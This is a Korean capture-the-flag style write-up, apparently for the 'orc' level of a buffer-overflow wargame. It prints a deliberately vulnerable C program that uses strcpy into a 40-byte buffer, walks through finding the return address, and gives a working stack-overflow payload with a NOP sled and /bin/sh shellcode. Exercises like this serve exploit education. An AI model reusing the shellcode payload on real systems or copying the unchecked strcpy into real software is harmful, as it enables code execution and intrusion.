#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
extern 변수는 다른 파일의 전역 변수를 사용하고자 할 때 사용한다.
C 프로그램에서는 environ이라는 전역 변수가 미리 만들어져 있으며 이를 통해 환경 변수 목록을 확인할 수 있다. 다른 곳에서 미리 선언한 상태이므로 extern 문으로 environ 변수를 참조하면 환경 변수 목록을 확인할 수 있다.
중간에 egghunter 주석을 보면 memset 함수를 사용해 환경변수를 초기화한다. 따라서 환경변수를 사용할 수 없다.
1. argv 형태로 입력받는다.
2. 환경변수를 사용할 수 없다.
3. argv[1][47] 값은 '\xbf' 이여야 한다. -> 배열 시작은 0부터 이므로 48번째가 bf이다.
4. 3번 조건으로 ret 주소를 스택으로 해야된다.
shellcode를 이용한 payload를 작성해보자 payload = "A"*44 + shellcode 위치 + shellcode
shellcode위치를 찾아야한다. 근데 48번째는 \xbf 이므로 일단, r "`python -c 'print("A"*44 +"\xbf\xbf\xbf\xbf"+"B"*100)'`" 입력한다.
breakpoint를 ret 명령어에 걸고 run을 한다. 48번째 글자를 검사하는 if문을 통과한 걸 보니 \xbf가 잘 들어간거같다. [그림 1-2]를 보면 0xbffffa7c 주소값이 ret 될 주소이다. 따라서, 0xbffffa80 주소값 부터 shellcode를 넣고 0xbffffa7c 주소값으로 0xbffffa80 넣으면 된다.
완성된 payload 는
./orc `python -c 'print("A"*44 +"\x80\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
이다.
nop를 100정도 넣어줘야 exploit 된다. -> 왜 그러징
참고 블로그
https://ehpub.co.kr/tag/environ-%EB%B3%80%EC%88%98/